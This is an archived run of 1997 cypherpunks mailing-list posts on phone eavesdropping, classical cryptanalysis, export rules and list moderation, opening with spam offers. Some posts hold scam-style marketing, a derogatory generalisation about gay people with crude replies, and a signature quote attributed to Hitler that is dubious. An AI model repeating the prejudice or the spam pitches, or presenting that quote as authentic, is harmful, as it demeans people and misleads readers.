Hi, I saw your posting online and was wondering if FREE LONG DISTANCE could be helpful to you personally or in your business. 

I am talking about FREE LONG DISTANCE anywhere in the USA, including Alaska, Hawaii, Puerto Rico, even the US Virgin Islands.

If so, just say YES and I will email you the details that will allow you to keep in touch with customers, prospects and suppliers, friends and family, colleagues and school friends. 

I am not talking about a bit of free Long Distance for a month, or 2 months or 3 months or even 6 months.

I am talking $1,000 EVERY MONTH for 36 MONTHS. I checked theres no typo here. Get $36,000 of FREE long distance.

Get the detailed profitable information, and even more (like FREE Toll Free numbers and more) RIGHT NOW! INSTANTLY! Send a blank email to yes@sal.lv

Sincerely

Bill

PS Think what it could mean to YOUR BUSINESS to keep in touch with key people and organizations on a regular basis FREE of charge

PPS What about personal relationships, how they could improve and strenghten by keeping in touch regularily FREE of charge





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 14 Jan 1997 02:48:06 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Newt's phone calls
In-Reply-To: <32DB2262.3A62@gte.net>
Message-ID: <Pine.SOL.3.93.970114054334.19710A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 13 Jan 1997, Dale Thorn wrote:
> Clay Olbon II wrote:
> > I just caught the news reports of Newt Gingrich's cell phone calls being
> > taped by "a little old retired couple" with a scanner.  These were then
> > given to a congressman, who gave them to a newspaper.
> > The take on this that we won't hear is: "This is outrageous!  Why don't
> > cell-phones offer encryption to ensure our privacy?"
> > Unfortunately, I think crypto is still so far beneath the public
> > consciousness that the obvious solution to these sorts of problems is
> > ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> > in this case there is a law!) What I really hope this incident spawns is a
> > market ...
> 
> I'm not sure what crypto will do to voice transmission, but from my
> own personal example:  I just bought two Motorola portable phones
> (46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
> scanner, it sounds to my ears like very muffled Chinese.

	How much did the two cost?

[...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 05:16:16 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: You can now subscr. to the moderated/unmoderated/flames lists
In-Reply-To: <199701140637.WAA14213@toad.com>
Message-ID: <32DBA396.239A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:

> MODERATION HAS NOT YET BEGUN.

John,
  Will you be making a "Last Chance To Call Me A Cocksucker"
announcement? (:>)

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 14 Jan 1997 05:05:23 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: PBS program - Turing/Enigma
In-Reply-To: <60FH1D2w165w@bwalk.dm.com>
Message-ID: <199701141321.HAA07999@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Homosexuals have a strange attraction to cryptography, perhaps because of its
> connection to privacy and anonymity. But they haven't made any contribution to

     Speaking from personal experince Dimitri? You and Grubor enjoying each
others company?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Tue, 14 Jan 1997 07:43:29 -0800 (PST)
To: cryptography@c2.org
Subject: Multi-drop quantum cryptography article in Nature 385, 47-49 (1997)
Message-ID: <17143.853256562@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain


(Reproduced from <http://www.nature.com>)

Eavesdropping on the line 

Secure electronic communication is becoming increasingly important. In
recent years, quantum cryptography has been investigated as a means of
detecting eavesdroppers on private lines. When quantum mechanical processes
are used to establish the 'key' used for encryption and decryption, any
eavesdropping during transmission leads to an unavoidable and detectable
disturbance in the received key information. This technique has been
demonstrated to be effective on standard communication lines between two
users, but Paul D. Townsend now introduces a practical scheme for a
multi-user network. This work demonstrates the technical feasibility of
quantum cryptography for practical applications.  P D Townsend Quantum
cryptography on multi-user optical fibre networks (Letter to Nature) Nature
385, 47-49 (1997)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Tue, 14 Jan 1997 04:58:13 -0800 (PST)
To: "Ed Falk" <ed.falk@Eng.Sun.COM>
Subject: RE: encryption program
Message-ID: <n1358893706.51704@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


What is a Kappa test?  Is there software I can run to perform such a test?
Where can I get it?

Thanks!

Patrick
_______________________________________________________________________________
From: Ed Falk on Mon, Jan 13, 1997 20:33

I ran a quick Kappa test on it.  There was a nice fat spike at key
length 25, as somebody else suggested, but an almost perfect
correlation at 100.  The message is almost certainly a simple
polyalphabetic cipher with keylength 100.

I've been playing with it, and have maybe 5% of it decoded.  It's
full of really blatent clues.  Kind of fun.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 14 Jan 1997 07:31:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Am I to blame? / "THE INTERNET GOLDRUSH"
In-Reply-To: <Pine.SOL.3.91.970114051043.27180B-100000@acme.sb.west.net>
Message-ID: <32DBADD8.401A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A few weeks ago I made several references to the InterNet
being the 'new Gold Rush'. Now, I came across this on an 
anti-spam list.  

> The "Internet Goldrush" is ON!
> It's simple!  It's quick!  It's here!
> Rush your e-mail reply to:
> <goldrush@theguru.com>
> to stake out your claim now!

  I hope that this is just a coincidence. I would hate to think
that I have personally instituted a new Battle Cry for the
Spammer/Enterprenurs. (I would also hate to gain the title of the
Benedict Arnold of the InterNet.)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 14 Jan 1997 08:48:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: ALA/ACLU file lawsuit challenging NY "CDA" law, from NNN
Message-ID: <Pine.GSO.3.95.970114084633.10567D-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 14 Jan 1997 08:43:52 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: ALA/ACLU file lawsuit challenging New York "CDA" law

[Visit netlynews.com for the rest of the story. Another reason to follow
the New York case is that a successful challenge to its "harmful to
minors" ban could create a useful precedent in fighting a CDA 2.0, which
likely will have such language. --Declan]

***********

The Netly News Network
http://netlynews.com

A Civil (Libertarian) War
by Declan McCullagh (declan@well.com)
January 14, 1997
   
       On a frosty winter morning last February, Shabbir Safdar and a
   gaggle of VTW loyalists trekked to Albany, New York, to protest a
   state bill that would muzzle the Net. "This was our first time doing
   any state-level lobbying," Safdar says. "We managed to convince them
   to take some stuff out of the law." But his efforts didn't stop the   
   measure from wending its way through the legislature: In September,
   Governor George Pataki signed it into law.
                      
       Today the ACLU sued New York State in federal court, charging that
   the law is unconstitutional. New York now takes its place among two
   dozen states battling similar local legislation that would criminalize
   certain forms of Net speech. In Georgia, for instance, merely having
   an anonymous user name could be illegal. Virginia restricts state
   employees' rights to view sexually explicit material -- college       
   professors who might want to use the Net in, say, an English lit class
   have to exercise extreme caution. Forget the Communications Decency
   Act: A kind of civil war is being waged across half the U.S.
   
       The ALA v. Pataki lawsuit, filed in the Southern District of New
   York, involves 14 plaintiffs including the American Library
   Association, the American Booksellers Association Foundation for Free
   Expression, Panix, Echo and the ACLU. The coalition, which is asking
   for a permanent injunction, maintains that the law unconstitutionally
   stifles online speech and unduly interferes with interstate commerce.
   The law amends the penal code by making it a criminal offense
   punishable by seven years in prison to distribute pictures or text
   "which (are) harmful to minors."

       We here at The Netly News are ardent advocates of free speech, of
   course -- we held a joint teach-in on the New York law in the fall. So
   I spoke to Ann Beeson, a staff attorney at the ACLU, who's spent the
   last year attacking other state laws and the CDA in court. Why should
   netizens care about this law if they don't live in New York? I asked
   her.

       "Because New York can extradite you," she replied.

       But what if it's not a crime where I live?
   
       "It doesn't make a difference," Beeson said. "There's no question
   that New York could try to extradite you if you put up a web site that
   has material harmful to minors on it."

[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 14 Jan 1997 08:52:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: s/n problems on this list
Message-ID: <199701141652.IAA10713@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I've posted on this subject many times in the past, and its
something I like to brainstorm on. signal to noise problems
on this list. 

generally, the moderator-specific approaches I find less
palatable than techniques that can be automated. here
are some more ideas for automated moderation techniques.

1. software called "grouplens" I've talked about here (search
yahoo) has been used to rate articles. they found that there
was a very high correlation between how long people spent reading
articles and the "interesting" rating that they gave that article.

hence, a proposal: cpunks have long advocated and hacked mailer
programs to stick in crypto. how about sticking in a hack that
tracks how long mail messages are being read, and send that
info back to an auxilliary mailing list address. the list
software keeps track of time spent reading articles and
can allow people to screen the list based on the "most interesting
articles". "send me only those articles that go over a threshhold
of 500 combined human attention minutes".

of course this can be messed up by hackers who try to skew the
ratings. I would suggest a limit on the max time per article per
person.

2. I like the idea of a system that keeps track of complaints against
given users. it could keep track of the complaint/per age of 
every subscriber. e.g. hypothetical: LD gets 10 complaints per week, and TCM
gets 30 per week on average, and it could allow people to screen
the mail based on these numbers, such as a command "send me mail
of all users below a 20 complaint/per week value". you could,
for either of these approaches, have an "official screening value"
in which the owner of the list adjusts these parameters to his
liking.

just more ideas. I like cpunks generally favor a technological
fix that doesn't involve bottlenecks of individual moderator
opinions. (2) would be pretty easy to implement inside existing
mailing list software, at the majordomo side.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Tue, 14 Jan 1997 08:59:58 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.SOL.3.93.970114054334.19710A-100000@pegasus.montclair.edu>
Message-ID: <199701141658.IAA09761@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas writes:
> 
> 
> On Mon, 13 Jan 1997, Dale Thorn wrote:
> > 
> > I'm not sure what crypto will do to voice transmission, but from my
> > own personal example:  I just bought two Motorola portable phones
> > (46 mhz) with Secure Clear(r) voice scrambling.  On my AOR 8000
> > scanner, it sounds to my ears like very muffled Chinese.

I have a Panasonic 46mhz portable phone that does the same.
It's a "Sound Charger Plus" with "10ch Secure Guard".  I think it
does a very simple analog operation to 'secure' voice transmissions.
Like someone else posted, it keeps Beavis and Butthead from
listening to your conversations, but that's about it.  I think
a dedicated ham, hardware-knowledgable hacker or Fed could do
a simple frequency-inversion or whatever and listen in.

> 	How much did the two cost?

This Panasonic cost about $80 from Frys.

You might get better security from one of the newer 900mhz digital phones.
Those would still be crackable but would require some digital
equipment, which is probably not yet as common.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Tue, 14 Jan 1997 10:13:51 -0800 (PST)
To: Mullen.Patrick@mail.ndhm.gtegsc.com
Subject: RE: encryption program
Message-ID: <199701141808.KAA25979@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


> What is a Kappa test?

Kappa test is described in Kahn's "Codebreakers".

Basicly, you take two streams of random text and line them up one over
the other.  Look for letter matches between top and bottom.  The percentage
of matches is called Kappa.

If the text is truly random, you should see matches 1/26 of the time.
However, if the text is english, you should see matches about 6.6% of
the time instead.

Likewise, if the text is encrypted with a monoalphabetic cipher, you
should *also* see matches 6.6% of the time.

Likewise, if the text comes from two different messages encrypted with
the same polyalphabetic cipher (and they're lined up properly) you
again see Kappa = 6.6%.

Finally, if the key repeats, and you've guessed the length of the
repitition correctly, and you line up the ciphertext with itself
accordingly, Kappa will again be 6.6%.


>  Is there software I can run to perform such a test?

I've been writing my own as I go along; it's more educational to do
it that way.  As been mentioned earlier in this list, there's an
archive of crypto software at

	ftp://ftp.ox.ac.uk/pub/crypto/cryptanalysis

I've been getting ideas from there, but it's more fun to write your own.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 10:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OTA papers
Message-ID: <v02140b00af017cb6e816@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>William H. Geiger said:
>
>
>In <v02140b00af00318b1fef@[10.0.2.15]>, on 01/13/97 at 02:50 PM,
>   azur@netcom.com (Steve Schear) said:
>
>
>>Its too bad OTA got the budgetary ax.  I met several of the staff and I
>>regarded them highly.
>
>Actually this is a GOOD thing. Now they will be using their talents & skills
>in the real world providing a contribution to society rather than in another
>unnecessary government bureaucracy.
>
>- --

I've read several of their papers and find, in those areas of which I feel
competent, there are few commercial equivalents with corresponding quality
and even-handedness in treatment.  I agree with you its best that much or
most of these government activities should occur in the market.  I hope
they do.  Only time will tell.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 14 Jan 1997 07:17:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Pentium optimizations for DES (BIG)
Message-ID: <199701141517.HAA25930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I hope you'll look at Svend Olaf Mikkleson's
latest DES round replacement for libdes. He
seems to have gotten the round down to 18
clock cycles. I have not yet had a chance
to try it myself.

see: http://inet.uni-c.dk/~svolaf/des.htm

Peter Trei
trei@process.com

Peter Trei
Senior Software Engineer
Purveyor Development Team                                
Process Software Corporation
http://www.process.com
trei@process.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: services@p-lenahan.com
Date: Tue, 14 Jan 1997 07:51:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello
Message-ID: <199701141551.KAA04407@alberta.sallynet.com>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,


Hi, I was wondering if you market products/services
using your computer and would like to learn how to
do so QUITE a bit better than what you are already doing?<g>

Is so, just say the words (words=MORE ORDERS) and I'll email a
free, helpful file about our program! This program is so good
that could mean the online marketing difference between
scintillating success and frustrating failure.


Sincerely,

Pat Lenahan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Liz Taylor <liz@nym.alias.net>
Date: Tue, 14 Jan 1997 03:15:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <19970114111544.5207.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Ed Falk wrote:
> 
> I ran a quick Kappa test on it.  There was a nice fat spike at key
> length 25, as somebody else suggested, but an almost perfect
> correlation at 100.  The message is almost certainly a simple
> polyalphabetic cipher with keylength 100.

	I don't want to discourage anybody from trying their
cryptanalytic skills against this, but this particular cryptogram
has already been decrypted and the plain text posted to sci.crypt a
few days back by Jim Gillogly. The message ID is <32D445A4.3DF@mentat.com>

	The snake oil vendor then came out with another cryptogram
using the same algorithm. It is titled `decryption' and the plain text
starts with "There are plenty of programs you could buy such as".
Mr. Gillogly broke that too. See news:<32DA7FE4.1F41@mentat.com>

--
Diamonds are a girl's best friend.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TiEPiLoT <tiepilot@thepentagon.com>
Date: Tue, 14 Jan 1997 08:24:19 -0800 (PST)
To: Erp <erp@digiforest.com>
Subject: Re: UnderNet:
In-Reply-To: <Pine.LNX.3.95.970114005248.21626F-100000@digital.digiforest.com>
Message-ID: <32DBB1F8.10F918E7@thepentagon.com>
MIME-Version: 1.0
Content-Type: text/plain


Erp wrote:
> 
> Ya ya ya, this is probably an inappropriate thing but hey, I haveta ask..
> 
> I just heard about the UnderNet hack tonight...  anybody have any
> information on that?  If so thanks for the reply..
> Later
> 
> ----
> 
> Erp
> 
> PS:  I hate Elitests (spec the type that think they are such because they
>                       watched Hackers when it first came out)

	I have some friends who were involved in that.. try- 

http://www.geocities.com/SiliconValley/8558/

	They have logs of their first one on there.. I'm not sure if they have
logs of last night's up yet.

				-TiE




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 14 Jan 1997 11:25:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Secret Power" by Nicky Hager
Message-ID: <199701141925.LAA09825@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm sorry about violating etiquette, but it appears that I'm stuck
with 14 extra copies of this book, and I really would like to get
them off my hands.

If you are interested in buying a copy, please let me know.

Otherwise, sorry about this spam.

Ern




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sue@liame.com
Date: Tue, 14 Jan 1997 11:38:55 -0800 (PST)
Subject: PART-TIME EXECUTIVE INCOME
Message-ID: <19970114193610.AAC25493@star>
MIME-Version: 1.0
Content-Type: text/plain


Please put REMOVE in the subject and press reply if you do not wish to receive mail from us again.

**********************************************************
PART-TIME EXECUTIVE INCOME

 WORKING 5-20 HOURS PER WEEK AT YOUR OWN PACE.

NEW DIVISION OF A MAJOR (NASDAQ) 93 YEAR OLD
PHARMACEUTICAL COMPANY, SEEKS TWO PROFESSIONALS
PART-TIME OR FULL-TIME FROM WHEREVER YOU ARE,
FOR EXPANSION IN THE UNITED STATES, MEXICO,
ASIA, ETC.  STOCK OPTIONS ON TOP OF THE MOST
LUCRATIVE PAY PLAN IN THE INDUSTRY. 

FOR FREE AUDIO, CALL OUR 24 HOUR RECORDED MESSAGE 
NOW.  THEN YOU CAN HEAR WHY TOP ENTREPRENEURS, 
MEDICAL, AS WELL AS, BUSINESS PROFESSIONALS ARE 
DIVERSIFYING THROUGH US.

                                        24 HR. MESSAGE
                                        1-800-404-9151





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 14 Jan 1997 11:49:54 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Newt's phone calls
Message-ID: <v02140b03af01913cbaa5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> The take on this that we won't hear is: "This is outrageous!  Why don't
>> cell-phones offer encryption to ensure our privacy?"
>
>  Cell-phone encryption is 'essential' for 'important' people.
>  However, it is 'dangerous' in the hands of the 'citizens' (translate
>that
>to mean 'schmucks').
>  The government doesn't object to crack-dealers having cryptography
>capabilities, they just want to make sure that those crack-dealers
>work for the CIA (freelancers need not apply).
>
>Toto

When I worked at Cylink we developed a product, called SecureCell which
combined a standard analog cellphone (NEC I think) and a version of our
SecurePhone.  Despite the fact that it could thwart any but the most well
funded eavesdropping we only sold a handfull.  It was quite pricy (about
$6,000) and required a small suitcase to tote, but even so only a few gov't
agencies (mostly diplomatic) and execs thought it was worth the trouble.

One problem facing such devices are the interruptions caused by
cell-to-cell handoffs.  These can occur even when stationary. SecureCell, I
believe, used off-the-shelf line modems.  I've read newer modem
technologies (Spectrum and AT&T) have pretty much solved this problem.

There's no reason Eric Blossom's phone encryptor can't be readily adapted
to cellular to offer a secure and more reasonably priced cellular
encryptor.



PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear             | Internet: azur@netcom.com
Lamarr Labs              | Voice: 1-702-658-2654
7075 West Gowan Road     | Fax: 1-702-658-2673
Suite 2148               |
Las Vegas, NV 89129      |
---------------------------------------------------------------------

Internet and Wireless Development

        1935 will go down in history! For the first time a civilized
        nation has full gun registration! Our streets will be safer,
        our police more efficient, and the world will follow our
        lead in the future!
            --Adolf Hitler






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 12:06:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <3.0.1.32.19970114104854.0065cb80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>>I just caught the news reports of Newt Gingrich's cell phone calls being
>>taped by "a little old retired couple" with a scanner.  These were then
>>given to a congressman, who gave them to a newspaper.

Eavesdropping on cellphones is illegal, since there's an expectation of
privacy.
I don't know if tapping the signalling channel is illegal - it's not
eavesdropping on conversations, but it's giving you traffic analysis
including locating your victim.

Cordless phones don't offer an expectation of privacy, by some legal
definition, 
so it's not illegal, and anyone can listen in with scanners, including police,
unless there are state or local laws to the contrary  It'd be interesting
to test
the legal status of digital spread-spectrum cordless phones, which claim on
the box to offer privacy, but there probably aren't enough police forces with
sufficiently advanced scanners to crack them to make it worth transmitting
lots of bait "Yo, Bubba, I hear you've got 10 kilos of dope for sale!" 
"Yeah, it's $10/gram, I'll bring it by your house at 1234 Main Street."

>>The take on this that we won't hear is: "This is outrageous!  Why don't
>>cell-phones offer encryption to ensure our privacy?"

Analog callphones don't.  (U.S.) Digital cellphones may offer encryption,
though it's really dumbed-down encryption.  It'll probably still keep out
Beavis and Butthead, and maybe your local police, but not professionals.
I've forgotten if the CAVE encryption on John Young's site is the US version,
or if the standard we're graciously permitted by our government to use
is a different one, but it's about that strength.  Phil Karn wrote
some time ago about the NSA's armtwisting that bullied the standards
committee into coming up with the stuff.

> There is a very basic reason that cell phones are not encrypted;
> the government does not want them encrypted. 
Analog cellphones were doing well to work at all, and manufacturers and
service providers didn't want to add the complexity of encryption,
especially as a retrofit, so they got a law passed instead.

Tapping cellphones is more trouble than tapping wired phones -
they move around, and to tap them from the phone company end
requires taps everywhere that you activate when you know where
somebody is.  On the other hand, if you can just scan for them,
and crack the wimpy encryption, it's really a lot less work.
And if you overhear other interesting conversations while pursuing
a legally authorized wiretap, that was "good faith"...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 14 Jan 1997 12:08:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <3.0.1.32.19970114105355.00639b20@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Therefore, it would seem that, as long as the security software on your ftp
>> or WWW site is free of cost, it is OK to keep it there.  Commercial
>> security software, however, remains export-restricted.

>  I can't believe that there's no one taking advantage of this to make a
>'shareware' version of their software available, and having available, 
>for export and sale, an 'enabler' to bring it to full functionality.

In particular, if you allow free non-commercial evaluation of beta software,
e.g. McAfee's virus protection software, that would probably qualify.

It's interesting that they've structured their requirements to try to stay
within the Constitutionally authorized powers (regulation of interstate
and foreign commerce) while leaving out freeware which might lead to
an annoying legal challenge.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Tue, 14 Jan 1997 03:35:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701141135.MAA13707@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles says, Ian Goldberg wrote:
> 
> >According to http://www.rsa.com/rsalabs/newfaq/q76.html, RSA is in the
> >process of patent application for RC5.  Does that mean it's illegal to
> >write a keysearch program for the RC5 challenges (unless you use BSAFE
> >or something like that)?

Patents only apply to commercial use. I don't think
participating in the contest can be considered commerical use.

Me, a lawyer? No way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Tue, 14 Jan 1997 13:08:31 -0800 (PST)
To: cypherpunks
Subject: Social Security/CommerceNet/PitneyBowes try digital signature W-2's
Message-ID: <199701142108.NAA03984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 14 Jan 97 10:06:55 EST
From: John.T.Sabo@ssa.gov
Message-Id: <9700148532.AA853265294@ccsmtpgw2.ssa.gov>
To: members@lists.Commerce.Net
Subject: Test Opportuity for CommerceNet Member Small Companies

+----------------------------------------------------------------------+
This message was addressed to:  members@lists.commerce.net
+----------------------------------------------------------------------+

To CommerceNet Members Who Are Small Employers:

CommerceNet member companies who are small employers (approximately 30
employees) are invited to participate this month with the Social Security
Administration and PitneyBowes, Inc. in an important proof-of-concept
project in
which the Social Security Administration will accept digitally-signed W-2 and
W-3 data via the Internet, with PitneyBowes issuing test software and
public key
certificates to participating employers. (I mentioned this test at the
December
CommerceNet Members' meeting.)

Participation will require completion of a field test agreement with SSA,
submission of a request for certification by PitneyBowes, and installation of
software on a Windows PC which will enable the generation of a signature key
pair as well as software which will generate, sign and transmit the wage
data to
Social Security.  The software also produces W-2 paper forms for
distribution to
employees.  If a company already uses a software product to create W-2's, the
output file can be used for this test.  (Please note that the test is not
designed to evaluate all aspects of public key cryptography - for example, no
certification practice statement has been developed.)

If you are interested in participating in this important public/private sector
test of digital signature wage reporting, please contact me as soon as
possible
and I'll arrange for Mr. Chuck Liptz, SSA's Project Manager, to contact you
immediately to provide additional details.  (Chuck can also be reached
directly
at (410) 965-7057 or <chuck.liptz@ssa.gov>.

John Sabo
Social Security Administration
(410) 965-1550

----------------------------------------------------------------------------
James M. Galvin                                          galvin@commerce.net
CommerceNet                                                  +1 410.203.2707
3209-A Corporate Court                                   FAX +1 410.203.2709
Ellicott City, MD 21042                             http://www.commerce.net/
http://www.eff.org/blueribbon                     http://www.eff.org/goldkey




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark O. Aldrich" <maldrich@grci.com>
Date: Tue, 14 Jan 1997 10:54:25 -0800 (PST)
To: Cypherpunks Mailing List <dccp@eff.org>
Subject: Reminder:  Physical DC Cypherpunks Meeting
Message-ID: <Pine.SCO.3.93.970114112730.11658B-100000@grctechs.va.grci.com>
MIME-Version: 1.0
Content-Type: text/plain


Cypherpunks:

A January 1997 physical DC Cypherpunks meeting will be held at GRC
International, Inc., in Vienna, Virginia, on Saturday, 18 January. 
Directions to GRCI, including a couple of spiffy-neato maps, are available
at:  http://www.grci.com/overview/locations/vienna/

If you're in town for the inauguration (yes, it's the following Monday),
then stop by and check out the East Coast "punks" contingent. 

Meeting starts at 1400 hours (2:00 PM).  You will be entering a secured
facility and will have to endure the usual rigors of being badged,
exchanging pleasantries with the guard, and being limited to "requires
escort" status.  So, allow a few minutes extra before the meeting starts. 

Agenda includes a presentation by Carl Ellison, Senior Systems Engineer
from CyberCash, Inc.  Ad-hoc additions are welcome - show up with your
presentation materials and you're automatically added to the agenda.  We
even have a historical crypto-relevant door prize to be given away at the
meeting!  (Assuming you can haul it home <g>)

GRCI is located at the corner of Gallows Road and Boone Blvd, about two
miles north of the Dunn-Loring Metro station on the western end of the
orange line.  As solicitations for rides haven't appeared (yet) on the
list, the assumption is that they're being coordinated off-list at the
moment.  If your ride fails you and you're stuck at the Metro on Saturday,
the phone number for where we'll be meeting is 703.506.4951.  We can
try to beg you a ride from some gracious punk with wheels.  The front
desk is 703.506.5000 or 4000, is there's no answer downstairs.

If you show up late for the meeting and there's nobody there to sign you
in, you'll have to have the guard call us.  We'll be downstairs in the
"lower level conference room."  Just say those words and s/he'll know
where we are.  S/he can then call and someone will come up to get you.

Post-meeting world-problem-solving and beer-swilling activities
can be undertaken in any of the numerous suitable locations in and
about the illustrious Tyson's Corner locale.  We'll coordinate at
the end of the meeting.

Hope to see y'all this Saturday!

------------------------------------------------------------------------- 
|I want to die peacefully,                |          Mark Aldrich       | 
|like my Granddad did.                    |   GRCI INFOSEC Engineering  | 
|Not in sheer terror,                     |     maldrich@grci.com       | 
|like his passengers did.                 | MAldrich@dockmaster.ncsc.mil| 
|_______________________________________________________________________| 
|The author is PGP Empowered.  Public key at:  finger maldrich@grci.com | 
|    The opinions expressed herein are strictly those of the author     | 
|         and my employer gets no credit for them whatsoever.           | 
-------------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: szymacz@efp.poznan.pl
Date: Tue, 14 Jan 1997 04:54:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: smart cards & Chinese Remainder Theorem (CRT)
Message-ID: <Pine.PCW.3.91.970114134409.10047A-100000@francolinus.EFP.Poznan.PL>
MIME-Version: 1.0
Content-Type: text/plain


	Could anybody explain me what do smart cards producers
mean giving following parameters:
- RSA signature time without CRT,
- RSA signature time with CRT?
	I know what CRT is but I don't understand what are 
the implications of generating signature with and without CRT
(differences in security).

	




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 14 Jan 1997 14:10:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
Message-ID: <199701142209.OAA04830@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:37 PM 1/13/97 -0500, Declan McCullagh wrote:
>Don't be too sure that crypto is that far beneath the radar. I spent
